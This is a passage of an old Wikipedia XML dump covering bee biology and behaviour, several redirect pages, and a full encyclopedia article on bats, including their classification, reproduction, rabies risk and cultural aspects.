== Eusocial and quasisocial bees ==
Bees may be solitary, or may live in various sorts of communities. The most advanced of these are [[eusocial]] colonies, found among the [[honeybee]]s and [[stingless bee]]s. Sociality is believed to have evolved separately in different groups of bees.

Eusocial bees live in colonies, each of which has a single [[Queen (bee)|queen]], together with [[worker bee|worker]]s and [[drone (bee)|drone]]s. When humans provide a home for a colony, the structure is called a [[Beehive (beekeeping)|hive]]. A hive can typically contain up to about 40,000 individual bees at their annual peak, which occurs in the spring, but usually have fewer.

Visiting flowers is a dangerous occupation, with very high mortality rates. Many [[assassin bug]]s and [[crab spider]]s hide in flowers to capture unwary bees. Others are lost to birds in flight. [[Insecticide]]s used on blooming plants can kill large numbers of bees, both by direct poisoning and by contaminating their food supply. A honeybee queen may lay 2000 eggs per day during spring buildup, but she also must lay 1000 to 1500 eggs per day during the foraging season, simply to replace daily casualties.

[[Bumblebee]]s (''Bombus terrestris'', ''B. pratorum'', et al.) are referred to as quasisocial because the queen bee is typically able to survive on her own for at least a short time (unlike queens in eusocial species who must be cared for at all times). Bumblebee colonies typically have from 50 to 200 individual bees at peak population, which occurs in mid to late summer.

The population value of bees depends partly on the individual efficiency of the bees, but also on the population. Thus, while bumblebees have been found to be about ten times more efficient pollinators on cucurbits, the total efficiency of a colony of honeybees is much greater, due to greater numbers. Likewise, during early spring orchard blossoms, bumblebee populations are limited to only a few queens, thus they are not significant pollinators of early fruit.

[[Image:Bumblebee_closeup.jpg|thumb|right|[[Bumblebee]]]]

The life cycle of bumblebees begins in the spring when the queen bee rises from hibernation. At this time the queen bee is the one who does all the work as there are no worker bees to do the work yet. She searches for a place to build her nest and she builds the honeypots. She also does the foraging to collect nectar and pollen. Bumblebee colonies die off in the autumn, after raising a last generation of queens, which survive individually. Interestingly bumblebee queens sometimes seek winter safety in honeybee hives, where they are sometimes found dead in the spring by [[beekeeper]]s, presumably stung to death by the honeybees. It is not known whether any succeed in winter survival in such an environment.

With [[honeybee|honeybees]], which survive winter as a colony, the queen begins egg laying in mid to late winter, to prepare for spring. This is most likely triggered by longer day length. She is the only fertile [[female]], and deposits all the [[Egg (biology)|egg]]s from which the other bees are produced. Except a brief mating period, when she may make several flights to mate with drones or if she leaves in later life with a [[Swarming (honeybee)|swarm]] to establish a new [[Colony (biology)|colony]], the queen rarely leaves the hive after the [[larva]]e have become full grown bees. The queen deposits each egg in a cell prepared by the worker bees. The egg hatches into a small larva which is fed by ''nurse'' bees (worker bees who maintain the interior of the colony). After about a week (depending on species), the larva is sealed up in its cell by the nurse bees and begins the pupal stage. After another week (again, depending on species), it will emerge an adult bee.

The larvae and [[pupa]]e in a frame of honeycomb are referred to as frames of [[brood (honeybee)|brood]] and are often sold (with adhering bees) by beekeepers to other beekeepers to start new beehives.

[[Image:Queencell_0017.JPG|thumb|left|Peanut-like queen brood cells are extended outward from the brood comb]]

Both workers and queens are fed ''[[royal jelly]]'' during the first three days of the larval stage. Then workers are switched to a diet of pollen and nectar or diluted honey, while those intended for queens will continue to receive royal jelly. This causes the larva to develop to the pupa stage more quickly, while being also larger and fully developed sexually. Queen breeders consider good nutrition during the larval stage to be of critical importance to the quality of the queens raised, good genetics and sufficient number of [[mating]]s also being factors. During the larval and pupal stages, various parasites can attack the pupa/larva and destroy or damage it.

Queens are not always raised in the typical horizontal brood cells of the [[honeycomb]]. The typical queen cell is specially constructed to be much larger, and have a vertical orientation. However, should the workers sense that the old queen is weakening, they will produce emergency cells known as supercedre cells. These cells are made from a cell with a egg or very young larva. These cells protrude from the comb. As the queen finishes her larval feeding, and pupates, she moves into a head downward position, from which she will later chew her way out of the cell. At pupation the workers cap or seal the cell. Just prior to emerging from their cells, young queens can often be heard &quot;piping.&quot; This is considered likely to be a challenge to other queens for battle.

[[Image:Bee swarm.jpg|thumb|right|Bee Swarm- bees are remarkably non aggressive in this state as they have no hive to protect, and can be captured with ease]]

Worker bees are infertile females, however in some circumstances they may lay infertile eggs. Worker bees secrete the [[Beeswax|wax]] used to build the hive, clean and maintain the hive, raise the young, guard the hive and forage for nectar and pollen.

In [[honeybees]], the worker bees have a modified [[ovipositor]] called a [[stinger (organ)|stinger]] with which they can sting to defend the hive. Contrary to popular belief, the bee will ''not'' always die soon after stinging: this is a misconception based on the fact that a bee will always die shortly after stinging a ''[[mammal]]''; however, the stinger evolved primarily for inter-bee combat.

Drone bees are the [[male]] bees of the colony.  Since they do not have ovipositors, they also do not have stingers.  Drone honeybees do not forage for nectar or pollen.  In some species, drones are suspected of playing a contributing role in the temperature regulation of the hive.  The primary purpose of a drone bee is to [[fertilization|fertilize]] a new queen.  Drones mate with the queen in flight, then die immediately after mating.

Queens live for up to three years, while workers have an average life of only three months (during the foraging season, but longer in places with extended winters).

Honeybee queens release [[pheromone]]s to regulate hive activities, and worker bees also produce pheromones for various communications.

[[Image:Bee1web.jpg|thumb|left|250px|[[Honeybee]] with tongue partly extended]]

By collecting nectar from [[flower]]s, bees produce [[honey]], which is a clear liquid consisting of nearly 80% water with complex sugars.  The collecting bees store the nectar in a second [[stomach]] and return to the hive where worker bees remove the nectar. The worker bees digest the raw nectar for about 30 minutes using [[enzyme]]s to break up the complex sugars into simpler ones. Raw honey is then spread out in empty honeycomb cells to dry, which reduces the water content to less than 20%. When nectar is being processed, honeybees create a [[ventilation|draft]] through the hive by fanning with their [[wing]]s. Once dried, the cells of the honeycomb are sealed (capped) with wax to preserve the honey. 

When a hive detects smoke, many bees become remarkably non aggressive. It is speculated that this is a defense mechanism; wild colonies generally live in hollow trees, and when bees detect smoke it is presumed that they prepare to evacuate from a forest fire, carrying as much food reserve as they can. In this state, defense from predation is relatively unimportant; saving as much as possible is the most important activity.

=== Honeybee Queens===
Periodically, the colony determines that a new queen is needed.  There are three general triggers.
# The colony becomes space-constrained because the hive is filled with honey, leaving little room for new eggs.  This will trigger a swarm where the old queen will take about half the worker bees to found a new colony, leaving the new queen with the other half of worker bees to continue the old colony.
# The old queen begins to fail.  This is thought to be recognized by a decrease in queen pheremones throughout the hive.  This situation is called [[supersedure]].  At the end of the supersedure, the old queen is generally killed.
# The old queen dies suddenly.  This is an emergency [[supersedure]].  The worker bees will find several eggs or larvae in the right age-range and attempt to develop them into queens.  Emergency supersedure can generally be recognized because the queen cell is built out from a regular cell of the comb rather than hanging from the bottom of a frame.
Regardless of the trigger, the workers develop the larvae into queens by continuing to feed them royal jelly.  This triggers an extended development as a pupa.

When the virgin queen emerges, she is commonly thought to seek out other queen cells and sting the infant queens within and that should two queens emerge simultaneously, they will fight to the death.  Recent studies, however, have indicated that colonies may maintain two queens in as many as 10% of hives.  The mechanism by which this occurs is not yet known.  Regardless, the queen asserts her control over the worker bees through the release of a complex suite of pheremons called queen scent.

After several days of orientation within and around the hive, the young queen flies to a drone congregation point - a site near a clearing and generally about 30 feet above the ground where the drones from different hives tend to congregate.  Drones find the queen by site and mate with her in midair.  After mating, the drone dies.  A queen will mate multiple times and may return several days in a row, weather permitting, until her spermathrecea &lt;!--spelling?--&gt; is full.  

The queen lays all the eggs in a healthy colony.  The number and pace of egg-laying is controlled by weather and availability of resources and by the characteristics of the specific race of honeybee.  Honeybees queens generally begin to slow egg-laying in the early-fall and may even stop during the winter.  Egg-laying will generally resume in late winter as soon as the days begin to get longer.  Egg-laying generally peaks in the spring.  At the height of the season, she may lay over 2500 eggs per day - more than her own body mass.  

The queen fertilizes each egg as it is being laid using stored sperm from the spermathrecea.  The queen will occasionally not fertilize an egg.  These eggs, having only half as many genes as the queen or the workers, develop into drones.

===Honeybee pheromones===
Honeybees use [[pheromone (honey bee)|special pheromones]], or chemical communication, for almost all behaviors of life.  Such uses include (but are not limited to): [[mating]], alarm, [[Self-defense|defense]], orientation, [[kin]] and [[colony]] recognition, food production, and integration of colony activities.  Pheromones are thus essential to honeybees for their survival.

==Solitary and communal bees==
Other species of bee such as the [[carpenter bee]], Orchard [[Mason bee]] (''Osmia lignaria'') and the [[hornfaced bee]] (''Osmia cornifrons'') are solitary in the sense that every female is fertile. There are no ''worker'' bees for these species. Solitary bees typically produce neither honey nor [[beeswax]]. They are immune from [[acarine]] and [[varroa]] [[mite]]s, but have their own unique [[parasite]]s, [[Pest (animal)|pest]]s and [[disease]]s. (See [[diseases of the honeybee]].)

Solitary bees are important pollinators, as pollen is gathered for provisioning the nests with food for their brood. Often it is mixed with nectar to form a paste-like consistency. Many solitary bees have very advanced types of pollen carry structures on their bodies. Most solitary bees are wild, with a few species being increasingly cultured for pollination.

Solitary bees are often specialists, in that they only visit one or more species of plant (unlike honeybees and bumblebees which are generalists). In some cases only one species of bee can pollinate a [[plant]] species, and some plants are [[endangered species|endangered]] because their pollinator is [[pollinator decline|dying off]].

Solitary bees create nests in hollow [[reed]]s, bored holes in [[wood]], or in tunnels in the ground. The female typically creates a compartment with an egg and some provisions for the resulting larva, then seals it off. A nest may consist of numerous compartments, usually the last (the closest to the entrance) being eggs that will become males. The adult does not care for the brood, and usually dies after making one or more nests. The males emerge first and are ready for mating when the females emerge. Providing nest boxes for solitary bees is increasingly popular for [[gardener]]s. Solitary bees are usually stingless or very unlikely to sting.

While solitary females each make individual nests, some species are gregarious, preferring to make nests near others of the same species, giving the appearance to the causual observer that they are social.

==Cleptoparasitic bees==
Cleptoparasitic bees, commonly referred to as &quot;cuckoo bees&quot; because their behavior is similar to that of cuckoo birds, occur in several bee families. Females of these bees lack pollen-collecting structures and do not construct their own nests. Rather, they enter the nests of pollen-collecting species, and lay their eggs in cells already provisioned by the host bee. When the cuckoo bee larva hatches, it consumes the host larva's pollen ball, and sometimes the host larva itself. 

Some cleptoparasitic bees are closely related to, and resemble, their hosts (i.e., the genus Psithyrus, which is a nest parasite of bumble bees in the genus Bombus). Others parasitize dissimilar bees in different families, like Townsendiella, a nomadine anthophorid which is a nest parasite of the melittid Hesperapis.

''See also [[Kleptoparasitism]]

==Learning and Communication==
:&quot;The general story of the communication of the distance, the situation, and the direction of a food source by the dances of the returning (honeybee) worker bee on the vertical comb of the hive, has been known in general outline from the work of [[Karl von Frisch]] in the middle 1950s.&quot; 

For a discussion of bees' cognition, response to training, varieties of dance, and use of odors, see ''[[Bee learning and communication]]''.

==Miscellaneous==
Bees figure more prominently in myth than any other insect. See [[Bee (mythology)]].

Bees are the favorite meal of ''[[Bee-eater|Merops apiaster]]'', a bird. Other common [[predator]]s are [[kingbird]]s, [[mockingbird]]s, and [[dragonfly|dragonflies]].

Bee stings have also been reputed to help alleviate the associated symptoms of [[Multiple sclerosis]], [[arthritis]], and other [[autoimmune]] diseases. This is an area of ongoing research.

Honey is so sweet that [[bacterium|bacteria]] cannot grow on it, and dry enough that it does not support [[yeast]]s.  [[Anaerobic bacteria]] may be present and survive in ''[[spore]]'' form in honey, however, as well as anywhere else in common environments. Honey (or any other sweetener) which is diluted by the non-acidic digestive fluids of [[infant]]s, can support the transition of [[botulism]] bacteria from the spore form to the actively growing form which produces a [[toxin]]. When infants are weaned to solid foods, their [[digestive system]] becomes [[acid]]ic enough to prevent such growth and [[poison]]ing. No sweeteners should be given to infants prior to [[weaning]].

&lt;gallery&gt;
Image:Bees-wings.web.jpg|Bee's wings
Image:Bee mid air.jpg|Bee flying
Image:Bee taking off.jpg|Bee Taking off from flowers
Image:Bee on dandelion.JPG|A bee on a dandelion
Image:Bee flying to almond flower.jpg|Bee flying to [[almond]] flower
Image:Bee landing on rosemary02.jpg|Bee landing on rosemary bush
Image:Bee landing on rosemary.jpg|Bee landing on rosemary bush
Image:Rosemary with bee landing02.jpg|Bee landing on rosemary bush
&lt;/gallery&gt;

==See also==
{{Commons|Apis mellifica}}
*[[Africanized bee]]
*[[Bee anatomy (mouth)]]
*[[Bee learning and communication]]
*[[Beekeeping]]
*[[Bee sting therapy]]
*[[Characteristics of common wasps and bees]]
*[[Honeybee]]
*[[Honeybee life cycle]]
*[[Western honeybee]]

*[[Maya the Bee]]

==External links and references==
*''Bees of the World'', C. D. Michener  (200)
* [http://www.bwars.com/ Bees, Wasps and Ants Recording Society] (UK)
* [http://gears.tucson.ars.ag.gov Carl Hayden Bee Research Center]
* [http://www.pollinatorparadise.com/ Pollinator Paradise] (solitary bees)
* [http://www.kutikshoney.com/grafting/queens.htm Kutik's Honey Farm] Raising honeybee queens
* [http://www.abc.net.au/science/scribblygum/may2003/default.htm Rescuing Australian stingless bees]
* [http://www.geocities.com/Athens/Olympus/3294/pheromo.htm Honey Bee Pheromones]
* [http://www.sankey.ws/firstbee.html The first bee of spring]
* [http://www.honighaeuschen.de/ Apiary Honighäuschen at the Drachenfels]
* [http://www.livescience.com/animalworld/060110_bee_fight.html Flight of Honey Bee finally understood]

[[Category:Aculeate Hymenoptera]]
[[Category:Bees| ]]
[[Category:Insects]]
[[Category:Pollinator]]

{{Link FA|pl}}

[[an:Abella]]
[[ast:Abeya]]
[[ca:Abella]]
[[co:Abba]]
[[cs:Včela]]
[[cy:Gwenynen]]
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    </revision>
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  <page>
    <title>Buendnis 90 - Die Gruenen</title>
    <id>4655</id>
    <revision>
      <id>15902915</id>
      <timestamp>2004-11-25T07:10:41Z</timestamp>
      <contributor>
        <username>Wilfried Derksen</username>
        <id>42636</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Alliance '90/The Greens]]</text>
    </revision>
  </page>
  <page>
    <title>Shogunate</title>
    <id>4656</id>
    <revision>
      <id>15902916</id>
      <timestamp>2003-10-19T02:22:12Z</timestamp>
      <contributor>
        <username>TakuyaMurata</username>
        <id>6707</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[shogun]]</text>
    </revision>
  </page>
  <page>
    <title>Binding arbitration</title>
    <id>4657</id>
    <revision>
      <id>15902917</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Arbitration]]
</text>
    </revision>
  </page>
  <page>
    <title>Bill of Rights</title>
    <id>4658</id>
    <revision>
      <id>40288415</id>
      <timestamp>2006-02-19T15:21:38Z</timestamp>
      <contributor>
        <ip>80.176.79.94</ip>
      </contributor>
      <comment>revert this page back to redirect to bill of rights (just because someone capitalises the R does not necessarily mean they are looking for US Bill of Rights)</comment>
      <text xml:space="preserve">#REDIRECT [[bill of rights]]</text>
    </revision>
  </page>
  <page>
    <title>Bat</title>
    <id>4659</id>
    <revision>
      <id>41827785</id>
      <timestamp>2006-03-02T00:26:45Z</timestamp>
      <contributor>
        <username>Gdr</username>
        <id>55814</id>
      </contributor>
      <comment>typo, tighten some wording, use better pictures</comment>
      <text xml:space="preserve">{{OtherUses|the mammal}}
{{Taxobox
| color = pink
| name = Bats
| image = Haeckel Chipoptera.jpg
| image_width = 240px
| image_caption = &quot;Chiroptera&quot; from [[Ernst Haeckel]]'s ''Artforms of Nature'', 1904
| regnum = [[Animal|Animalia]]
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal|Mammalia]]
| ordo = '''Chiroptera'''
| ordo_authority = [[Johann Friedrich Blumenbach|Blumenbach]], 1779
| subdivision_ranks = Suborders
| subdivision = 
[[Megachiroptera]]&lt;br/&gt;
[[Microchiroptera]]&lt;br/&gt;
See text for families.
}}
'''Bats''' are [[mammal]]s in the [[scientific classification|order]] '''Chiroptera'''. Their most distingushing feature is that their forelimbs are developed as [[wing]]s, making them the only mammal capable of flight. (Other mammals, such as [[flying squirrel]]s or gliding [[phalanger]]s, can [[gliding|glide]] for limited distances but are not capable of true [[flight]]). The word ''Chiroptera'' can be translated from the [[Greek language|Greek]] words for &quot;hand wing,&quot; as the structure of the open wing is very similar to an outspread human hand, with a [[membrane]] ([[patagium]]) between the fingers that also stretches between hand and body.

There are estimated to be about 1,100 species of bats worldwide: about 20% of all mammal species.

About 70 percent of bats are [[insectivorous]]. Most of the remainder feed on [[fruit]]s and their juices; three bat species eat [[blood]] and some prey on [[vertebrate]]s. These bats include the [[leaf-nosed bat]]s ([[Leaf-nosed bat|Phyllostomidae]]) of [[central America]] and [[South America]], and the related [[bulldog bat]]s ([[Noctilionidae]]) that feed on [[fish]]. The [[ghost bat]] (''Macroderma gigas'') of [[Australia]] is one example of a carnivorous bat that predates on other bats.

Some of the smaller bat species are important [[pollinator]]s of some tropical [[flower]]s. Indeed, many tropical plants are now found to be totally dependent on them, not just as pollinators, but eating the resulting fruits and so spreading their [[seed]]s. This role explains environmental concerns when a bat is [[introduced species|introduced]] in a new setting. [[Tenerife]] provides a recent example with the introduced [[Egyptian bat]].

==Classification==
[[Image:Big-eared-townsend-fledermaus.jpg|thumb|240px|[[Townsends's Big-eared Bat]], ''Corynorhinus townsendii'']]

Though sometimes called &quot;flying rodents&quot;, &quot;flying mice,&quot; or even [[bugs]], bats are neither [[mouse|mice]] nor [[rodent]]s. 
There are two suborders of bats:
#[[Megabat|Megachiroptera]] (megabats)
#[[Microbat|Microchiroptera]] (microbats/echolocating bats)
Despite the name, not all megabats are larger than microbats. The major distinction between the two suborders is based on other factors:
*Microbats use [[echolocation]], whereas megabats do not (except for ''[[Rousettus]]'' and relatives, which do). 
*Microbats lack the [[claw]] at the second [[toe]] of the [[forelimb]]. 
*The [[ear]]s of microbats don't form a closed ring, but the edges are separated from each other at the base of the ear. 
*Microbats lack [[underfur]]; they have only guard hairs or are naked. 
Megabats eat fruit, nectar or pollen while microbats eat [[insects]], [[blood]] (small quantities of  blood of animals), small mammals, and [[fish]], relying on [[animal echolocation|echolocation]] for navigation and finding prey. 

Genetic evidence, however, indicates that some microbats (&quot;Yinochiroptera&quot;) are more closely related to megabats than to the other microbats (&quot;Yangochiroptera&quot;). There is some morphological evidence that Megachiroptera evolved flight separately from Microchiroptera; if so, the Microchiroptera would have uncertain affinities. When adaptations to flight are discounted in a [[cladistic]] analysis, the Megachiroptera are allied to the primates by anatomical features that are not shared with Microchiroptera.

Little is known about the evolution of bats, since their small, delicate skeletons do not fossilize well. However a late Cretaceous tooth from South America resembles that of an early Microchiropteran bat. The oldest known definite bat fossils, such as ''Icaronycteris'', ''Archaeonycteris'', ''Palaeochiropteryx'' and ''Hassianycteris'', are from the early [[Eocene]] (about 50 million years ago), but they were already very similar to modern microbats. ''Archaeopteropus'', formerly classified as the earliest known megachiropteran, is now classified as a microchiropteran.

Bats are traditionally grouped with the tree shrews ([[Scandentia]]), colugos ([[Dermoptera]]), and the [[primate]]s in superorder [[Archonta]] because of the similarities between Megachiroptera and these mammals. However, molecular studies have placed them as sister group to [[Fereuungulata]], a large grouping including [[Carnivora|carnivorans]], [[Pholidota|pangolins]], [[Perissodactyla|odd-toed ungulates]], [[Artiodactyla|even-toed ungulates]], and [[Cetacea|whales]].

*'''ORDER CHIROPTERA''' (Ky-rop`ter-a)(Gr. ''cheir'', hand, + ''pteron'', wing)
**'''Suborder [[Megachiroptera]] ([[megabat]]s)''' [[Image:Golden crowned fruit bat.jpg|thumb|[[Giant golden-crowned flying fox]], ''Acerodon jubatus'']]
*** [[Pteropodidae]]
**'''Suborder [[Microchiroptera]] ([[microbat]]s)'''
*** Superfamily ''[[Emballonuroidea]]''
**** [[Emballonuridae]] ([[Sac-winged bat|Sac-winged]] or [[Sheath-tailed bat]]s)
*** Superfamily ''[[Rhinopomatoidea]]''
**** [[Rhinopomatidae]] ([[Mouse-tailed bat]]s)
**** [[Craseonycteridae]] ([[Bumblebee Bat]] or [[Kitti's Hog-nosed Bat]])
*** Superfamily ''Rhinolophoidea''
**** [[Rhinolophidae]] ([[Horseshoe bat]]s)
**** [[Nycteridae]] ([[Hollow-faced bat|Hollow-faced]] or [[Slit-faced bat]]s)
**** [[Megadermatidae]] ([[False vampire]]s)
*** Superfamily ''[[Vespertilionoidea]]''
**** [[Vespertilionidae]] ([[Vesper bat]]s or [[Evening bat]]s) [[Image:Vespertilio murinus.jpg|thumb|[[Parti-coloured bat]], ''Vespertilio murinus'']] [[Image:Pipistrellus pipistrellus01.jpg|thumb|[[Common Pipistrelle]], ''Pipistrellus pipistrellus'']]
*** Superfamily ''[[Molossoidea]]''
**** [[Molossidae]] ([[Free-tailed bat]]s)
**** [[Antrozoidae]] ([[Pallid bat]]s)
*** Superfamily ''[[Nataloidea]]''
**** [[Natalidae]] ([[Funnel-eared bat]]s)
**** [[Myzopodidae]] ([[Sucker-footed bat]]s)
**** [[Thyropteridae]] ([[Disk-winged bat]]s)
**** [[Furipteridae]] ([[Smoky bat]]s)
*** Superfamily ''[[Noctilionoidea]]''
**** [[Noctilionidae]] ([[Bulldog bat]]s or [[Fisherman bat]]s)
**** [[Mystacinidae]] ([[New Zealand short-tailed bat]]s)
**** [[Mormoopidae]] ([[Ghost-faced bat|Ghost-faced]] or [[Moustached bat]]s)
**** [[Phyllostomidae]] ([[Leaf-nosed bat]]s) ''This family contains (among others) the [[Vampire bat|Vampire bats]]''

Most microbats are active at night or at twilight. But although the eyes of most species of microbats are small and poorly developed, the sense of vision is still functional, especially at long distances, beyond the range of echolocation. Their senses of smell and hearing, however, are excellent. By emitting high-pitched sounds and listening to the echoes, the [[microbat]]s locate prey and other nearby objects. This is the process of [[animal echolocation|echolocation]], a skill they share with [[dolphin]]s and [[whale]]s.

The teeth of microbats resemble those of the [[Insectivora|insectivoran]]s. They are very sharp in order to bite through the [[chitin]] armour of insects or the skin of fruits.

Megabats are primarily fruit- or nectar-eating. They have, however, probably evolved for some time in New Guinea without microbat concurrention. This has resulted in some smaller megabats of the genus ''[[Nyctimene]]'' becoming (partly) insectivorous to fill the vacant microbat ecological niche. Furthermore, there is some evidence that the fruit bat genus ''[[Pteralopex]]'', which occurs in the [[Solomon Islands]], and its close relative ''[[Mirimiri]]'' from [[Fiji]], have evolved to fill some niches that were open because there are no nonvolant mammals in those islands.

While other mammals have one-way valves only in their [[vein]]s to prevent the blood from flowing backwards, bats also have the same mechanism in their [[artery|arteries]].

The finger bones of a bat are much more flexible than those of other mammals. One reason is that the cartilage in their fingers lacks calcium and other minerals nearer the tips, increasing their ability to bend without splintering. The cross section of the finger bone is also flattened instead of circular as is the bone in a human finger, making it even more flexible. The skin on their wing membranes is much more elastic and can stretch much more than what is usually seen among mammals.

Because their wings are much thinner than those of birds, bats can maneuver more quickly and more precisely than birds.

[http://www.fladdermus.net/thesis.htm More about microbat vision]

== Reproduction ==
[[Image:Myotis myotis, nursery roost.jpg|thumb|Colony of [[Mouse-eared Bat]]s, ''Myotis myotis''.]]
Mother bats usually have only one offspring per year. A baby bat is referred to as a pup. Pups are usually left in the roost when they are not nursing. However, a newborn bat can cling to the fur of the mother and be transported, although they soon grow too large for this. It would be difficult for an adult bat to carry more than one young, but normally only one young is born. Bats often form [[nursery roost]]s, with many females giving birth in the same area, be it a cave, a tree hole, or a cavity in a building. Mother bats are able to find their young in huge colonies of millions of other pups. Pups have even been seen to feed on other mothers' milk if their mother is dry. Only the mother cares for the young, and there is no continuous partnership with male bats.

The ability to fly is congenital, but after birth the wings are too small to fly. Young [[microbat]]s become independent at the age of 6 to 8 weeks, [[megabat]]s not until they are four months old. At the age of two years bats are sexually mature.

==Habits and behavior==
[[Image:Yaxchilan_labyrinth_bats.jpg|thumb|Bats in a cave at the [[Yaxchilan]] ruins in Chiapas, Mexico.]]
Bats vary in social structure, with some bats leading a solitary life and others living in caves colonized by more than a million bats.

The fission-fusion social structure is seen among several species of bats. The fusion part is all the individuals in a roosting area. The fission part is the breaking apart and mixing of subgroups by switching roosts with bats, ending up with bats in different trees and often with different roostmates.

Studies also show that bats make all kinds of sounds to communicate with each other. Scientists in the field have listened to bats and have been able to identify some sounds with some behavior bats will make right after the sounds are made.

== Vector for rabies ==
[[image:bat-capture-moth1nov2000_hi.jpg|thumb|A [[big brown bat]] (''Eptesicus fuscus'') approaches a [[wax moth]] (''Galleria mellonella''), which serves as the control species for the studies of the [[tiger moth]]s. The moth is only &quot;semi-tethered,&quot; allowing it the mobility to fly evasively.]]

''The following advice is only relevant to areas with endemic rabies.''

Only 0.5% of bats carry rabies. However, of the very few cases of [[rabies]] reported in the United States every year, most are caused by bat [[bite (medicine)|bites]]. Although most bats do not have rabies, those that do may be clumsy, disoriented, and unable to fly, which makes it more likely that they will come into contact with humans. Although one should not have an unreasonable fear of bats, one should avoid handling them or having them in one's living space, as with any wild animal. If a bat is found in living quarters near a child, mentally handicapped person, intoxicated person, sleeping person, or pet, the person or pet should receive immediate medical attention for rabies. Bats have very small teeth and can bite a sleeping person without necessarily being felt. 

If a bat is found in a house and the possibility of exposure cannot be ruled out, the bat should be sequestered and an animal control officer called immediately, so that the bat can be analyzed. This also applies if the bat is found dead. If it is certain that nobody has been exposed to the bat, it should be removed from the house. The best way to do this is to close all the doors and windows to the room except one to the outside. The bat should soon leave. 

Due to the risk of rabies and also due to health problems related to their [[guano]], bats should be excluded from inhabited parts of houses. For full detailed information on all aspects of bat management, including how to capture a bat, what to do in case of exposure, and how to bat-proof a house humanely, see [http://www.cdc.gov/ncidod/dvrd/rabies/Bats_&amp;_Rabies/bats&amp;.htm the Centers for Disease Control's website on bats and rabies]. In certain countries, such as the UK, it is illegal to handle bats without a license.

Where rabies is not endemic, as throughout most of western Europe, small bats can be considered as harmless. Larger bats can give a nasty bite.  Treat them with the respect due to any wild animal.

==Cultural aspects==
The bat is sacred in [[Tonga]] and [[West Africa]] and is often considered the physical manifestation of a separable [[soul]].  Bats are closely associated with [[vampire]]s, who are said to be able to [[shapeshifting|shapeshift]] into bats, [[fog]] or [[wolf|wolves]].  Bats are also a symbol of [[ghost]]s, [[death]] and [[disease]].  Among some [[Native Americans in the United States|Native American]]s, such as the [[Creek (people)|Creek]], [[Cherokee]] and [[Apache Tribe|Apache]], the bat is a [[trickster]] spirit.  [[China|Chinese]] lore claims the bat is a symbol of longevity and happiness, and is similarly lucky in [[Poland]] and geographical [[Macedonia (region)|Macedonia]] and among the [[Kwakiutl]] and [[Arab]]s.

In Western Culture, the bat is often a symbol of the night and its foreboding nature. The bat is a primary animal associated with fictional characters of the night such as both [[villain]]s like [[Dracula]] and [[hero]]es like [[Batman]].  The association of the fear of the night with the animal was treated as a literary challenge by [[Kenneth Oppel]], who created a best selling series of novels, beginning with ''[[Silverwing]]'', which feature bats as the central heroic figures much in a similar manner as the classic [[novel]] ''[[Watership Down]]'' did for [[rabbit]]s. An old wives' tale has it that bats will entangle themselves in people's hair. A likely root to this myth is that insect-eating bats seeking prey may dive erratically toward people, who attract mosquitoes and gnats, leading the squeamish to believe that the bats are trying to get in their hair.

In the [[United Kingdom]] all bats are protected under the [[Wildlife and Countryside Act]]s, and even disturbing a bat or its roost can be punished with a heavy fine.

[[Austin, Texas]] is the summer home to North America's largest urban bat colony, an estimated 1,500,000 [[Mexican free-tailed bat]]s, who eat an estimated 10,000 to 30,000 pounds of insects each night and attract 100,000 tourists each year.

===References===
*Greenhall, Arthur H. 1961. ''Bats in Agriculture''. A Ministry of Agriculture Publication. Trinidad and Tobago.
*Nowak, Ronald M. 1994. &quot; Walker's BATS of the World&quot;. The John Hopikins University Press, Baltimore and London.
*[http://www.uq.edu.au/nuq/jack/consensus.htm John D. Pettigrew's summary on Flying Primate Hypothesis]

== See also ==
*[[European Bat Night]]
*[[Bat bomb]]
*[[Batman]]
*[[Bat World Sanctuary]]
*[[:Category:Fictional bats|Fictional bats]]

== External links ==
{{sisterlinks|bat}}
{{Wikibookspar|Dichotomous Key|Chiroptera}}
*[http://www.abrn.blogspot.com Arkansas Bat Rescue Network]
*[http://www.batworld.org/local_rescue/local_rescue.html United States Bat Rescue]
*[http://www.batcon.org Bat Conservation International website]
*[http://www.batworld.org Bat World Sanctuary]
*[http://www.nsrl.ttu.edu/tmot1/ordchiro.htm Texas Parks and Wildlife Bat Page]   
*[http://animaldiversity.ummz.umich.edu/chordata/mammalia/chiroptera.html University of Michigan Museum of Zoology] 
*[http://tolweb.org/tree?group=Chiroptera&amp;contgroup=Eutheria Tree of Life]
*[http://flyingfur.typepad.com/ Flying Fur]
*[http://seekmybowl.com/bat.php Seek My Bowl on bat as symbol.]
*[http://news.bbc.co.uk/2/hi/science/nature/4213495.stm Bats make up 20% of mammals]
*[http://www.bats.org.uk The Bat Conservation Trust]
*[http://www.batworld.org/adopt_a_bat/adopt_a_bat.html Adopt-a-Bat]
*[http://www.batconservation.org Organization for Bat Conservation]
*[http://www.uni-tuebingen.de/tierphys/Kontakt/mitarbeiter_seiten/dietz.htm Illustrated Identification key to the (micro)bats of Europe]  (''see &quot;Recent publications&quot;'')
*[http://www.lubee.org Lubee Bat Conservancy]
*[http://www.morcegolivre.vet.br Bats from Brazil]

{{Mammals}}

[[Category:Bats| ]]
[[Category:Pollinator]]

[[ar:خفاش]]
[[an:Apagacandil]]
[[ast:Esperteyu]]
[[cs:Letouni]]
[[cy:Ystlum]]
[[da:Flagermus]]
[[de:Fledertiere]]
[[es:Chiroptera]]
[[eo:Ĥiropteroj]]
[[fa:خفاش]]
[[fr:Chiroptera]]
[[ko:박쥐]]
[[io:Vespertilio]]
[[id:Kelelawar]]
[[it:Chiroptera]]
[[he:עטלפים]]
[[la:Chiroptera]]
[[lt:Šikšnosparniai]]
[[li:Vliermuis]]
[[nl:Vleermuizen]]
[[ja:コウモリ]]
[[pl:Nietoperze]]
[[pt:Morcego]]
[[ru:Рукокрылые]]
[[simple:Bat]]
[[sk:Netopiere]]
[[fi:Lepakot]]
[[tl:Paniki]]
[[tr:Yarasa]]
[[zh:蝙蝠]]</text>
    </revision>
  </page>
  <page>
    <title>Basque people</title>
    <id>4660</id>
    <revision>
      <id>41877875</id>
      <timestamp>2006-03-02T08:29:17Z</timestamp>
      <contributor>
        <ip>194.153.36.115</ip>
      </contributor>
      <comment>/* Traditional Basque sports */</comment>
      <text xml:space="preserve">{{cleanup-date|October 2005}}
